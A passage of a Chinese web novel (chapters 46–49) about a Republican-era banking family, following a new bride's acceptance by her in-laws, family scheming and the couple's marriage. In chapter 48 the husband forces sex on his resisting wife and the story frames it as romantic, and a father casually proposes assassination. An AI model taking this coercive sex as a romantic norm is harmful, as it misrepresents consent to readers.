欧繁汐更是被噎住,这尤其还是在萧岐山和陈婉面前,她更是觉得丢脸。
陈婉赶紧打圆场道:“我家花园里的梅花开得正旺,亲家母可否赏脸去观赏?”
欧繁汐勉强维持住平静道:“今日就算了,我还要回去给当家的复命呢。”
萧岐山只得道:“那就劳烦夫人替我向资政阁下问安。”
临走的时候欧繁汐拉住萧素素的手道:“老二任性妄为惯了,你可要多劝着他。”
萧素素装蒜:“您是指哪方面?”
欧繁汐愣了愣,她没想到萧素素都敢跟她叫板,镇定道:“问是说你要让他不要在惹你公公生气了。”
萧素素微笑着道:“儿媳知道了。”
欧繁汐这时才像突然想起了一样:“明天回家给你父亲敬茶。”
然而,欧繁汐一回去就对沈松龄说:“老二媳妇到底只是个养女,萧夫人的贤良淑德是一样没有学到。”
沈松龄情绪不明,道:“要是当初你把她留在静雅身边当先生,今日她和靳言又当如何?”
欧繁汐奇怪道:“老爷,您这是何意?”难道是怀疑她苛待了萧素素然后人家才辞职的?
沈松龄不置一词,他想起头日夜里宋婉说的那些话,感觉宋婉好像还比较满意这个儿媳,完全不像去别院之前那种鼻子不是鼻子,眼睛不是眼睛的感觉。
沈靳言也对她死心塌地,所以,她到底是个什么样的女子?不是说出生贫寒吗?沈松龄接触的穷人都是些“刁民”,所以,他不喜欢出生贫寒的人做他儿媳,甚至儿子的姨太太和情人他都不希望谁是穷人出生的。
欧繁汐看着沈松龄的脸色道:“老二说,要让她媳妇当通商银行的金库副主任,还要让她参与经营百货公司和煤油公司。”
没想到沈松龄却道:“她是学经济学的,让她做这些也无可厚非。”
欧繁汐嫉妒得要不得,她若是也能参与沈家产业的经营就好了。
另一边,按照礼节,回门礼应在娘家住几天才走,但资政大人发话了,让萧素素第二天就去敬茶,沈靳言就趁机向萧岐山提出第二天就回家的话。
萧岐山夫妇哪有不答应的,资政大人让萧素素去敬茶的意思就是要认她这个儿媳了。原本没有想过这么容易就认她的,结果得来全不费工夫。
萧素素以为会因为紧张而失眠,结果一夜好眠,还梦见生父边下馄饨到锅里边对着她笑。
早上离开萧公馆的时候,萧岐山叮嘱她:“凡事三思而后言,凡事三思而后行,记住为父的话。”
一路上沈靳言都没有说话,萧素素觉得他有心事,不过她也没有问他在想些什么,因为她自己有心事的时候不喜别人来打扰自己想心事,就由着她。
到了老宅,沈靳言牵起萧素素的手道:“无论他们说什么,你都不要怕,有我呢。”
萧素素觉得很暖心,但她觉得自己没什么好怕的。
两人手牵着手进屋,沈松龄看了不满道:“新妇不会走路,还需要人牵?”
沈靳言道:“那倒不是,儿子喜欢牵着她的手,一刻都不想放开。”
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全屋子的人脸色各异,都在想这究竟是个床上功夫多么了得的女人,不就是婚前上个床吗?沈靳言就这么喜欢了?
沈松龄咳嗽了一声,掩饰自己的尴尬。
萧素素红着脸给沈松龄、欧繁汐、宋婉见了礼,奉了茶,改了口,得了红包。
欧繁汐拉着她的手介绍沈府的人,这时有个小丫头进来说:“大少爷有事耽搁了,让不用等他。”
欧繁汐说:“他忙,咱们不管他。”笑盈盈的,好像完全忘了昨天在萧公馆沈靳言怼他的事情一样,萧素素心想,这本事她倒是学不来。
除了老宅里住的沈松龄这一房的人,还有其他几房的人在,萧素素原本认识一些,但其他几房的人太多了,根本记不过来。
沈靳言却暗暗觉得来的人太少了,想起大嫂倪梦珍嫁进来的时候,认亲那天,除了沈氏家族的人,还有沈松龄交好的权贵家眷。
嫡庶之间到底是不一样,不过没关系,只要他顾着她就行了,人来多了,她也认不全。
认亲认亲,认了亲他们也没有人真的会把她当成亲人,他还是沈家血脉呢,上一世被日本人杀害了以后,沈家这么多人也没有谁敢去给他收尸,他的孤魂在天上飘了很久才看到萧岐山在乱葬岗把他的尸身找出来安葬了,立了个无名碑。
沈靳晖姗姗来迟,欧繁汐就笑着对萧素素道:“老四来了,母亲就不引荐他给你认识了,听说在鲲鹏俱乐部还是老四把你抱到客房去的。”
萧素素脸色一白,欧繁汐这是想害她沉塘吗?
沈靳晖也脸色一白,这是想害他和二哥反目吗?他抱萧素素去416客房的事情,他可没有给任何人说过,除了萧素素姐妹,他知道这是二哥的忌讳,让别人知道了也会害了二嫂。
沈靳言却语气冷淡:“听说?母亲听谁乱说的?那天在鲲鹏俱乐部,我自始自终都没有见过四弟,谁会把我做的事安在四弟头上?”
宋婉也道:“莫非你看见了?或者你的眼线在鲲鹏俱乐部?到底是哪个黑心烂肠的乱说!”
欧繁汐道:“不是就算了,我也是道听途说。”
沈松龄道:“老二、老四,跟我到书房来!”
沈靳言拉了拉萧素素的手,道:“你在这里有什么事跟二姨太说,我先去一趟。”
萧素素道:“你去好好跟父亲说,别让他误会。”
沈靳言觉得她真心很忐忑的样子,就说:“我一会儿就过来。”
又顿了顿,道:“如果大哥来了......你就说我一会儿就过来了。”
大哥?沈靳亭?沈靳言怎么突然说这些?
萧素素看着他的背影,恍惚了一下。莫非他怕她会行刺沈靳亭?
光天化日、朗朗乾坤?四周全是沈家的人,她和沈靳亭同归于尽吗?不,她不会,她舍不得这么幸福的日子,这几天是她有记忆以来最最幸福的时光。
46. 复仇(二)
沈靳晖低头看着自己黑色光亮的皮鞋,他一直都有点害怕自己的父亲。房间里很安静,他抬起头,发现沈松龄面上的表情十分平静。
“你们谁先说?”他淡淡地问。
沈靳晖不知从何说起,说他为了自己能结婚给二哥下毒吗?那父亲肯定会责罚他的!他还没有开口就听沈靳言道:“我和素素因为中毒的事不得不做夫妻这事想必父亲都知道事情的来龙去脉了,这件事情你也不要怪四弟了,多亏了四弟的谋划,我这个老光柜才能结婚,才知道结婚结婚原来这么好......也多亏了四弟,严鹤总算是不能当定国银行的经理了。”
沈靳晖心中一跳,父亲都知道事情的来龙去脉了?那他是一直派人监视自己的吗?幸亏除了鲲鹏俱乐部的事,他没有做过任何出格的事情,要不然自己怎么死的都不知道。
“你们那样做是你们自己想当定国银行的经理?”沈松龄语气依然很淡,但他长眉入鬓,身上自带一股子威严。
沈靳晖心中一凛,他从来都没有想过管定国银行的事,大哥投了400万两纹银,是商股中投资最多的,定国银行的投资里面还有官股,他没有投资一分一毫,如果说定国银行的经理可以由沈家人来做,这个位置肯定是大哥的,他怎么可能奢望不属于自己的东西。
他陷害严鹤,只是那天碰巧严鹤给萧素素下了情毒,他看不惯严鹤而已。他做这一系列的动机只是想撮合二哥二嫂百年好合,也只有二哥结婚了,他和方小姐才能结婚,父亲误会他陷害严鹤是为了定国银行的经理之位了吗?
他还没有说话,就听沈靳言道:“官商合办的银行我不感兴趣,父亲千万不要误会。”
沈靳晖这才道:“我...我也没有想过......”
沈松龄道:“没有想过就好,不是说你们不可以想,而是说你们如果真的想,就应该像你们大哥一样,给定国银行投资,那样你们才名正言顺。”
沈靳晖再次保证:“我真的没有想过。”
沈松龄道:“那你让《太阳日报》刊登严鹤行贿的事意欲何为?”
沈靳晖道:“我就看不惯他!”
沈松龄道:“看不惯?这也太任性了吧?这也太鲁莽了吧?你说人家行贿,人家就会认了吗?”
沈靳晖道:“可是,他的确提了20万美金去见章先生呀!”
沈松龄道:“那20万美金不是你给萧夫人,又由萧夫人交给严鹤让他去营救萧岐山的吗?”
沈靳晖道:“他有什么证据证明这一点,就凭他空口白牙的一说?我们可以说他这是为了脱罪编的瞎话!”
沈靳言也淡淡道:“四弟说的对,他这么说没有人信他的。”
沈松龄好像不认同兄弟俩的说法,他道:“老四,你怎么敢肯定严鹤就会帮萧夫人的忙?他有什么把柄抓在萧夫人手里?”
沈松龄是派了探子打探几个儿子的事,知道老四给老二下情毒的事,也知道老四将一个女人抱到客房去,后来老二被秘书扶到了那个房间。
探子只汇报了这些,其他的事情他都不知道,但从后来的事情来看,事情可能远远没有那么简单。
比如,严鹤为什么那天也在鲲鹏俱乐部?刚好这么巧吗?那既然是巧合,严鹤为什么要提着那20万美金去见章卫平,萧夫人让他去他就去?他那么好说话?除非萧夫人手里有严鹤的把柄,这把柄逼着他不得不拿着钱去见章卫平?
看到《太阳日报》上那则严鹤与金智翰之女金巧云无媒苟合的新闻,让他不免想到,严鹤会不会是跟老二媳妇也有瓜葛,或者严鹤原本想苟合的人是老二媳妇?如果是,那这个老二媳妇就不简单了!
老二还没有跟她好几天呢,就被她迷的五迷三道的。老四也抱过她,探子说有一次老四还带着她去吃宵夜,很亲密的样子,她和严鹤的关系也说不太清楚。
沈靳晖不敢说话,他肯定不能说萧素素被严鹤下情毒的事,父亲是个老思想老传统,他不喜欢女人和太多男人有牵扯,更别说二嫂和严鹤还是到了暧.眛的阶段,父亲要是知道了,根本就容不下他。
沈靳言却道:“严鹤和素素是大学同学,我岳母找他帮忙他才不会怀疑其中有诈,要不然怎么拿住他行贿的把柄呢?”
沈松龄道:“是吗?普通同学严鹤也会帮忙?他有这么热心?”
沈靳言道:“谁知道呢?他是总理之子,平日里别人托他办事情的时候多,我们想这样去请他帮忙,他才会以为我岳母她病急乱投医。”
沈松龄又问:“那20万怎么说?”
沈靳晖道:“我要修理严鹤,自然这20万该我出......严鹤又不知道这20万是我出的!”
沈松龄暗叹了一口气,这兄弟俩不承认他也不能逼着他们承认,再逼就伤了父子情份了。
他道:“你们做事前没有跟我商量,这是大忌,你们这次严重搅乱了我精心布置的韬略,现在严学熙反弹的厉害,今天他还当众说我坑害他儿子。”
严学熙和沈松龄治国理政的思路虽然算不上志同道合,但也算得上不敌对了,在政界多一个敌人总是不明智的。
沈靳言道:“事已至此,已经没有回头路了,只有做实严鹤行贿的罪名,还好我们是有他行贿的证据的。按照现在的汇率,20万美金算行贿数额特别巨大、情节特别严重了。按《花国律》可处他十年以上有期徒刑或者无期徒刑,并处罚金或者没收财产。”
严鹤行贿的新闻人尽皆知,必然逃不脱刑罚。这件事做的一点都没有回旋的余地,他终于忍不住问道:“老二,你和严鹤有什么深仇大恨?是因为他和你媳妇的事?”
心里怀疑的种子一旦种下,就没有那么容易消失。难道老二、老四因为女人的事才这样害人家?
沈靳言道:“不是,他和素素只是普通大学同
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学。”
沈松龄问:“那你和老二这么恨他是因为什么?”
沈靳言道:“我和四弟发现他和日本人走的很近,就派人跟踪了他,才发现他和日本人勾结,出卖国家利益,这次挤兑的事如果不是我未雨绸缪,这对银行体系来说将是灭顶之灾。”
沈靳言望进沈松龄的眸子里,问道:“一个出卖国家利益的人难道不该死吗?”
沈松龄脸寒如冰,坚定道:“那的确该死,甚至该千刀万剐!”
沈靳言道:“父亲,不仅是他,咱们这个总理也该死!我不相信严鹤和日本人勾结的事他不知情,这不可能!甚至严鹤是他授意的!”
沈松龄道:“要处置他可不容易,除非真的有证据!严学熙一向做事很谨慎,要想搜罗他的证据可不容易。就算是能证明严鹤勾结日本人,我们也都怀疑是严学熙授意的,但这是心证,不是物证,必须要有物证才行。”
沈靳言道:“那就收罗他的证据就是!”
沈松龄道:“我会着人去办!”
他起身,往门口走去,边走边说道:“走吧,大家聚在一起也不容易,我们也过去吧。”
沈靳言叫住他:“父亲。”
沈松龄转过身,问他:“还有什么事?”
沈靳言道:“吴景深之子吴世勋你打算怎么办?”
沈靳言最近时有不安,这一世有太多事与上一世不一样了,包括吴景深陷害母亲的事,以及他反击吴景深导致吴景深脑溢血死亡的事,上一世都没有。
沈松龄道:“丧家之犬,不足为虑!”
沈靳言很不认同:“斩草不除根,春风吹又生。”
沈松龄道:“他又不是什么大官,直接暗杀了就是。”
沈靳言:“......”他还想收集吴世勋的罪证,让法律来审判他,结果父亲这么简单粗暴!
也是,他这个位置不心狠手辣一点,本身就是一件危险的事情!
回花厅的路上,沈靳晖一直都很沉默。沈靳言问他:“你怎么了?今天怎么话这么少,连刚刚父亲问我们话你也是尽量不说?”
沈靳晖连忙摇头:“没什么呀!我这不是怕说错话吗?”
沈靳言等沈松龄走到前面去很远了,才压低声音问沈靳晖:“你为什么也那样恨严鹤?”
沈靳晖道:“当然是跟你一样,因为他结交日本人啊!”
沈靳言道:“是吗?我怎么觉得你不全是因为这个!”
沈靳晖道:“那你说我还因为什么?”
沈靳言道:“我也说不清楚。总之,鲲鹏俱乐部的事情不像你会干出来的事情。”
沈靳晖道:“我还不是为了撮合你和二嫂,结果那小子在二嫂的酒里下那等阴毒的东西,实在是可耻,我不治治他,我就不是你四弟!”
沈靳言笑笑,拍拍沈靳晖的肩膀:“干得好,为我省了不少事!”
47. 复仇(三)
沈松龄回花厅的时候,佣人们正在给萧素素请安,萧素素就笑着给了他们红包。
她虽笑着,却多少有些局促,脸上的腼腆和羞涩一眼就能看出来。
沈松龄进去的时候,所有人都站起来了,等他坐了主位,沈靳言和沈靳晖才进来。
“老大还没有来?”沈松龄沉了声音,昨天让欧繁汐派人专门去给他说了,今天让老二媳妇来老宅请安认亲,所有让来的人都来了,就他和他的妻妾不来,他这个大哥怎么当的。
欧繁汐打圆场:“许是太忙了,一时忘了时辰......”
沈松龄用鼻子哼了一声:“比我这个一国资政还要忙?”
欧繁汐道:“哪能啊,可能是突然遇了一点事吧。”
沈松龄不想当着这么多人的面说沈靳亭,转头招呼萧素素:“老二媳妇,你过来。”
萧素素茫然的看向沈松龄,不敢有丝毫犹豫,马上走过去行了礼:“父亲。”
沈松龄问他:“都收了什么礼物?让父亲看看。”
萧素素笑了笑,她记得去年秋天她当沈静雅家庭教师的时候,沈靳亭纳了房姨太太叫赵清欢的,新婚礼物收了好多,她至今都还记得,欧繁汐送她的是赤金拔丝丹凤口衔四颗明珠宝结,二姨太给了她一支点翠祥云镶金串珠凤尾簪,三姨太给了赤金镶珠花簪,四姨太给一对珍珠耳钉。
但是,她没有收到除了三姨太刚刚偷偷塞给她的礼物外的其他礼物,三姨太给了她一支瑞士手表,是劳力士的,她听施卓然说过,劳力士的手表价值百金。
在其他人心目中,她这个正妻还不如沈靳亭的一个妾吗?或者说他们不敢送她礼物。
她很是顿挫的说道:“父亲,儿媳以为您暂时不会认我这个儿媳,还没有来得及给大家准备礼物。”
沈松龄细品了这句话,笑道:“倒是为父的不是了?”
萧素素低头:“儿媳不是这个意思。”
沈松龄从中山装的上边口袋扯出了一支价值不菲的派克金笔,递给她,道:“我们家的确是没有来得及迎接你入门,所以大家都没有来得及准备礼物,为父把这支金笔送给你,你和老二以后把日子过好,白头偕老。”
萧素素道:“谢谢父亲。”
沈松龄道:“听说老二要让你当金库副主任?”
沈靳言看到父亲送了他媳妇一支金笔,就知道父亲是允许她出去上班的,便道:“我国培养一个女大学生不容易,让她出去工作才不浪费她这些年读的书......她工作才一年,金库副主任的工作够她学很久。”
沈松龄就笑笑:“那就好好干,只是要注意身体,女人的重要工作还有一条———生儿育女,相夫教子。”
萧素素道:“儿媳谨记父亲教诲。”
再蠢的人都看得出来沈松龄的态度了,都把自己偷偷准备的礼物给拿了出来,送给萧素素,只有欧繁汐和宋婉没有准备。
宋婉道:“我的库房里还有些古玩字画,老二媳妇等会儿随我回去随便挑,全部都搬走我也没有意见。”她是不管沈松龄是什么意思她都要送这些的。
欧繁汐则从手腕上拔下来一支蓝宝石祥云纹饰手镯给萧素素戴上,道:“你以后可要好好照顾老二,再也不能在外面喝酒了。”
萧素素也心平气和的答应了。
沈松龄这么做,明显是逼着大家把礼物送出来,萧素素才不管这些人是真心或者假意呢,这些真金白银买的东西以后都是她的了,谁也拿不走。
跟沈靳言结婚以后,她一夜暴富,现在可是阔绰的很,以前想都不敢想的珠宝首饰她现在也有了,她做梦都不敢想的东西她都有了。
直到中午席面摆出来,沈靳亭和倪梦珍都没有出现,沈松龄这次真生气了,要让欧繁汐派人去请。
沈靳言道:“父亲,强扭的瓜不甜,大哥既然不想来认亲,素素以后就不认他这个大伯哥就是了!”
萧素素本来就不想认他,要是可以,她还想杀了他呢!
沈松龄皱眉问沈靳言道:“你这是说的什么话!”
沈靳言道:“他是我大哥没错,我就不是他二弟了吗?哪能处处事事都只有我这个做弟弟的单方面付出?这么重要的日子他面都不照一个,他算什么大哥!他眼里根本就没有我这个二弟!”
沈松龄道:“这次是他不对,父亲一定好好说说他!”
沈靳言才不管沈松龄说不说他呢,他从来都没有对这个大哥有什么期待,从小时候开始便没有了血缘亲情,这个大哥怎样对他都没有感觉,只要他不来惹他,那他们兄弟俩就可以相安无事。若是惹了他,他甚至可以帮萧素素报仇!
很快上完了席面,最上一桌肯定是沈松龄欧繁汐和子女们。
左侧坐着沈靳言、萧素素、沈静雅三人。
右侧坐着沈靳晖、沈靳堂、沈靳北兄弟。
上位是沈松龄和欧繁汐。
宴席处坐满了沈家亲房的人,然而却很安静。
沈静雅因为那次给萧素素下药的事,认亲的时候一直没有出现,现在却挨着萧素素坐,到底才六岁,吃饭的时候一直红着脸,不敢找萧素素说话。
五彩松仁玉米离沈静雅比较远,萧素素就给她用公勺舀了一勺,沈静雅望着胡萝卜丁发呆,欧繁汐提醒她:“静雅,还不快谢谢你二嫂!”
沈静雅直直地看着萧素素,眼睛眨都不眨。
萧素素苦笑着自己舀了一勺五彩松仁玉米吃,才道:“你看,二嫂也吃这个,很好吃的,你放心吃吧。”
沈静雅最喜欢吃的就是五彩松仁玉米了,里面有玉米、松仁,豌豆,黄瓜丁,胡萝卜丁,颜色好看,还入口回甜。
终于,沈静雅才开口道:“谢谢二嫂。”
她干干净净的小脸轮廓很深,睫毛纤长浓密,像两面扇子,她脖颈又白又长,长大以后绝对气质异常出众。
过了半晌,她又用很低的声音说道:“对不起,二嫂,我那时候不知道二嫂会是我二嫂。”
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沈松龄脸色阴沉得很,好好的女儿被欧繁汐教育成这样,去年才六岁就知道给人投毒,而且这人还是她的家庭教师!简直岂有此理!
萧素素笑了笑,道:“二嫂当时也不知道二嫂会变成你的二嫂。”
她又夹了一块山药糕放在沈静雅的碟子里,也是沈静雅喜欢吃的。
沈靳言看着萧素素的一举一动,发现她对小孩子很有耐心的样子。
晚上躺在被窝里,沈靳言便问道:“素素,你喜欢儿子还是女儿?”
萧素素笑了笑,她连结婚这种事情都没有认真想过,前面假意和严鹤交往,也只是模糊的想过,万一严鹤真的愿意和自己结婚,她或许能借助严鹤的势力找沈靳亭报仇,她自然是没有想过孩子的事的。
她发了一会儿呆,转过身却看到沈靳言正看着自己。那种很一眼万年的目光,好像饱含很多东西,太过幽深……两人突然相视,萧素素心跳漏了一拍,结结巴巴的说:“我......我还没有想过......”
昨日在娘家,两人没有住在一起,现在回家了,突然面对面,萧素素反倒还有些不自然了。
但她很快克制住心中的别扭,笑着问:“那你喜欢男孩还是女孩?”
沈靳言皱了眉,上一世直到死,他和几房兄弟都没有孩子,他和谭小曼夫妻生活不和谐,后来就很少同房,同房少而没有孩子很正常,可大哥、四弟、五弟、六弟身边的女人都很多,怎么会也没有孩子?
如果说非要问他喜欢男孩还是女孩,他喜欢孩子,不管男女。只是如果是女儿就更好,可以像妹妹沈静恬一样出去游学,不用管家族的生存问题。
他眉心微蹙,露出沉思之色。侧脸映着床头灯柔和的光芒,显得十分沉稳。
萧素素却看出一股沧桑感。他到底还很年轻,这股沧桑感来自哪里?
她望着他的脸轻声问他:“你在想什么?你还没有告诉我你喜欢男孩还是女孩呢?”
沈靳言长臂一伸,就把她抱到自己怀里。
虽然两个人相偎依,萧素素却能感觉到他内心的沉默。
他是那种很能藏得住事的人。
半晌,沈靳言道:“严鹤的行贿金额至少判十年以上。”
萧素素“嗯”了一声。
他又沉默了。
萧素素道:“你可能不相信,我没有喜欢过严鹤。”
沈靳言道:“我相信。”
他拥着她看着窗外的夜色,声音低沉又柔和。
萧素素不知道他在想什么事,但她希望知道他想的事,在她看来,她下半辈子最亲的人就是他了。
她问道:“你为什么不回答我?你不喜欢孩子吗?”
沈靳言终于道:“喜欢的。”
萧素素又问道:“那你喜欢男孩还是女孩?”
沈靳言翻身压住了她,笑着道:“还是等你怀上了再说吧!”
萧素素用手抵住他,道:“明天还要上班呢!”
48. 复仇(四)
壁炉烧得热热的,所谓保暖思□□,沈靳言这会儿只想欺负一下萧素素。
他拿起她的手轻轻摩擦着,就看见她手上带了一支劳力士手表。
萧素素跟着他的目光才看到手表忘取了,忙准备取,沈靳言抓住她的手问:“这支表什么时候买的?”
萧素素把他拨开,好取手表下来放到床头柜去,道:“父亲叫你们去书房问话的时候,三姨太偷偷塞给我的,瑞士的名表,这手表很贵吧?”
沈靳言其实是知道沈靳晖买过这款劳力士才问萧素素什么时候买的?萧素素婚前根本买不起这款劳力士。
沈靳晖买了这款劳力士后送给了生母三姨太了?三姨太又转赠给了萧素素?
沈靳言道:“肯定贵啊,可是于四弟来说,也不算什么。”
萧素素:“那到底多少钱呢?”
沈靳言:“两万多瑞士法郎。”
萧素素道:“天啊!这么贵?瑞士法郎的汇率可是比美金还高!这表是金子做的吗?三姨太出手怎么这么阔绰!天啊!这个人情我怎么还?我今天听二婶说,四弟和方小姐很快就能定下婚期了,怎么办?怎么办?我要怎么还这个人情?”
沈靳言觉得她担心钱的样子着实可爱,就逗她道:“来,取悦好你的财神爷,我明天早上就给你东西,保证到时候你在四弟妹面前能体体面面的摆一次阔。”
意思是让萧素素主动一点。萧素素犯了难,好别扭!这个主动怎么搞嘛!
她问:“你......你以前......”甚至不知道咋问。
沈靳言:“什么?”
萧素素心一横,道:“别人主动怎么做的?”
别人?沈靳言细品了这两个字。
坦诚相待道:“一言难尽。”
有个丫头脱光了躺在他床上,那时候他才14岁,正是对女子的身体充满幻想的年纪,忍不住想走近点去看,却又觉得极其羞耻难堪,转身就想往外跑,那丫头胆子大的很,跳下床从后面抱住他,不得章法的到处乱摸,终于拨弄的他想要了她时,母亲却闯入了......记得那个丫头被活活打死的。
后来大些了,二叔家的堂哥把他带去喝花酒,有个清倌直接把手伸进了他的裤子口袋里,他那时候就知道,什么清倌不清倌的,都是欢场女子吸引客人的招数。
后来在美国读书,那些白人女子大多看不上花国男性,她们对西方国家那些男性的主动求.欢的那些动作一次也没有在他身上实践过。
上辈子谭小曼主动的时候很多,但他不喜欢她,她越主动他越不喜欢!当然,她不主动他也不喜欢。
萧素素讶然地看着沈靳言,什么叫一言难尽?长长的睫毛扑闪扑闪的:“你有过很多女人?”
沈靳言看了她半晌,才“啧”了一声:“你不是觉得我喜欢男人吗?你为什么又觉得我女人很多?我那么闲?”可以有时间一会儿喜欢男人一会儿喜欢女人?
萧素素愣了一下才反应过来,以前吃饭的时候和施卓然讨论过他是不是喜欢男人,当时肯定井弘深听到了,然后他肯定告诉沈靳言了。
萧素素一口否定:“我什么时候觉得你喜欢男人了,我知道你喜欢女人!”从前几天他在床上的毫无节制就可以看出来,他喜欢女人得很,这么喜欢女人的男人也会喜欢男人吗?
萧素素理了理被子,准备睡觉,完全忘了还要取悦沈靳言。
沈靳言皱眉,问道:“那你这个女人到底要不要取悦我?”
萧素素这才突然想起来,然后开始解沈靳言睡衣的扣子,还没有解两颗,沈靳言就觉得索然无味,他起身把床头灯一关,道:“睡觉吧。”
萧素素在床上呆坐了半天,忐忑又无语。
他一定觉得自己索然寡味,一点情趣都没有,这才是新婚第四天呢!
半响,萧素素才躺下,闷闷的问:“行长,你已经厌弃我了吗?”
沈靳言发现她的声音有些哽咽,心里叹了一口气,他们感情基础不牢,婚前两个人没有怎么磨合过感情,现在稍微有个风吹草动,她就容易敏感。但是他今天不想哄她了,如果连这点挫折都受不了,他死了以后她又要怎么办?
他的确觉得她刚刚无趣了,她不像欢场女子被培训过,有技巧,一般普通女子,在没有技巧的情况下,如果是有真情实感的爱抚也能挑起情.欲,但她也没有真情实感。
刚刚她一板一眼的,就像老师让她写作业,说写好了就有奖励,她是为了那个奖励才认真写的,这个认真劲儿中一点旁的东西都没有。
沈靳言默然了半响,道:“礼尚往来的事你不用担心,你嫁给了我,人家送你的人情该怎么还还有我呢,你操什么心!你嫁的可是资政的儿子。”
萧素素:“......”她明明问的是他是不是厌弃自己了,他说这个做什么?
可是他不回答她,她也没有勇气再问他一次了。
沈靳言已经闭眼准备睡觉了,萧素素又问:“明天要不要给银行职员包封红?”
上一世没有任何人问过他这个问题,他和谭小曼结婚的时候,不仅通商银行、百货公司和煤油公司,甚至谭小曼陪嫁的商行、庄子、化工公司都得了赏。
沈靳言语气有些冰冷:“这样的小事你却还要问我,你究竟在家里学了些什么?”
萧素素更觉得委屈,就真的抽泣起来:“我愚蠢又笨拙,你是今天才知道吗?我生母早逝你不知道吗?你不是早就知道了吗!还有,你这个资政的儿子恐怕不知道,如果我亲生父母还健在,我更是不可能学这些你口中的小事的,我们平头百姓只要能活下来就好,哪里有闲心学管家学中匮学当家!”
沈靳言一噎,说不出话来。
明明刚躺上床的时候两个人的气氛还好好的,是怎么发展到这一步的?
哦,他不该要求她主动取悦他。
终究还是听不得她一直抽泣,那小
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嘴儿巴巴的也是能说的很,来日方长,他还有几年才会死呢!慢慢再锻炼她的心性吧!今晚先让她闭嘴,自己也能清净些!
他长臂一伸,就把她捞在了怀中,萧素素拼命挣扎,道:“沈靳言,你干嘛!...唔......唔......”
男人吻住她的唇,辗转吮吸,萧素素挣扎了一下,才反应过来他在吻她,刚刚他们因为什么吵起来的?最起初的原因是什么?
哦,他让她取悦他,但是她太无趣了,所以他很快就嫌弃她了!
哼!天地良心!她可是什么脸都不要就去取悦他了!他居然嫌弃她!人家说,干活儿的时候不看功劳也要看苦劳的!他什么都不看,硬生生的嫌弃她!越想越生气,现在这个东西还想吻她,门儿都没有!
你沈靳言不是嫌弃人家无趣吗,那你为什么不去找有趣的。
她拼命挣扎,就是不回应他。
沈靳言的好胜心也起来了,他的手挑开她的衣襟。直接握住顶峰。
萧素素想翻身拦住他,却被他压得死死的,因为挣扎,她浑身都是汗,她反手就给了他屁股一下。
沈靳言气急败坏:“萧素素,你好得很!”
再次压住她的手,也不再吻她,直接进入中心思想。
萧素素大脑一片空白,男人和女人在力气上真的不是一个数量级。
她开始时极为不适,慢慢的又有了上一次那种感受,开始渴望。她气愤的在心里骂自己贱人,这不是贱又是什么!她倔强的抿着唇,尽力不让自己发出任何声响。
身体是骗不了人的,沈靳言终于忍不住笑了,道:“想叫出来就叫,我们是夫妻,又没有人笑话你。”
萧素素扭过头去,突然也没有那种叫出来的冲动了。
等一次完了,萧素素就要起床洗澡,被沈靳言拉住:“不要着急,躺一会儿,不然对身体不好!”
萧素素执意要下床,沈靳言终于怒了:“萧素素,你了不得了!你想造反是不是!”
萧素素脸色一白,啪的一下坐到了床上。
他不经常生气,但要只要大声起来就挺吓人的。
她突然想起她上次听到沈靳言用这么大声音说话的时候,熊睿死在了她面前!
她哆嗦了一下,揭开被子就躺了进去。
沈靳言也发现自己吓到她了,就着被子抱住她,发现她抖的厉害。
“明天我会让人准备好所有封红,我们结婚是大事,通商银行、百货公司、煤油公司、你陪嫁的铺子、宝坻的庄子,里面所有的人都有份,包个大大的红包!”
萧素素还在抖,沈靳言问:“你怕我?为什么?”
她闷着被子,沈靳言看不清她的脸。
“我刚刚不是为了你好吗?你才和我干了正事儿,一下都没有休息,就要去洗澡,很容易生病的。女人的身子本来就娇弱,要细心呵护......你想想看,我又没骂你,你到底怎么了?”
49. 复仇(五)
苦劝无果,沈靳言只得披衣下床,在房间里焦急的走了一圈后,他看到了放在桌上尘封的留声机,心思一动,翻箱倒柜找出来一张唱片,将唱针放上去,唱片就响起京剧的念白:“奴家林黛玉,幼失怙恃,多蒙外祖母史太君抚养,寄居荣国贾府之中。诸姑伯姊,却也是另眼相看,只有宝玉哥哥,偏偏要无理取闹。昨晚偶过怡红院,他却是闭门不理。咳,这也是寄人篱下的苦处,怎不叫人伤感也。
少顷,又有唱词响起:“叹春光都付与多愁多病,奈何天辜负了美景良辰。可怜奴无家雁霜天只影,好比那萍和梗一样飘零。花如烟柳如卷落花成阵,这焦桐却为何弹不成.........”(注:以上两段唱词出自1920年百代唱片发行的由京剧名家梅兰芳演唱的《黛玉葬花》)
《红楼梦》是当下女知识分子的最爱,床上的被子不在抖动,但是萧素素依然蒙着头,似乎听不真切,渐渐被子漏出了一个缝儿。
沈靳言半跪在床上,用自己滚烫的大手去捉萧素素的手。
萧素素不情愿,但男人并不放弃,最后终于被牢牢捉住:“走,休息一会儿了,该去沐浴了。”
一把拉住她的手腕十分利落地带进怀里。
人就是这样的奇妙,好像靠在他怀中就没有那么害怕了,反而很依恋,想一直这么依靠着。全然忘记彼时怕的就是这个人。
是饮鸩止渴吗?萧素素不知道。
但她就想被人这样抱着,有一种被呵护被宠爱的感觉。
沐浴却是两个人没羞没躁一起沐浴的。
萧素素看着沈靳言近在咫尺的脸,她之前还没有这样仔细的看过他。他的眉毛很浓,眉形若两峰对立,青黛如画,每一瞥都像是诗篇,帅气中透着书卷气。鼻梁挺直,为他的面容增添了一丝优雅的气息。嘴唇长得很好看,特别是笑的时候,十分儒雅。
萧素素渐渐心动,再一次靠进沈靳言的怀里,告诉他:“沈靳言,你真好看。”
沈靳言懒洋洋的“嗯”了一声:“你也好看。”
萧素素将他抱的更紧:“那你喜欢我的样子吗?”
这个女人需要他的鼓励,所以沈靳言道:“嗯,喜欢,你跟妖精一样的勾着我。”女人的嘴唇被堵住,十分激烈的一个吻。
但很快又放开,男人哑着嗓子道:“我抱你到床上,水里做......容易得病气,我们素素可要健康长寿。”
健康长寿,是爱情的告白吗?
萧素素很喜欢这样的情话,就温顺着由着他。
沈靳言将萧素素放到床上,不急不缓的去留声机那里换了一张唱片,是钢琴演奏家演奏的贝多芬的《致爱丽丝》。
爱情曲的作用,亦或者是萧素素真的想“讨好”这个“财神爷”,她主动去吻他,开始勾他的舌,勾他的心,勾他的魂。
落地灯在墙角和地面分别打出浅浅淡淡的半圆光弧,却将抵死纠缠的两个人漏在光弧之外,很有些朦胧油画的意思。
唱片里的钢琴曲,轻巧地演奏出装饰音和附点十六分音符,使旋律活跃起来,使气氛滚烫起来,仿佛是萧素素明朗而欢快的语调:“你喜不喜欢我这样子?”
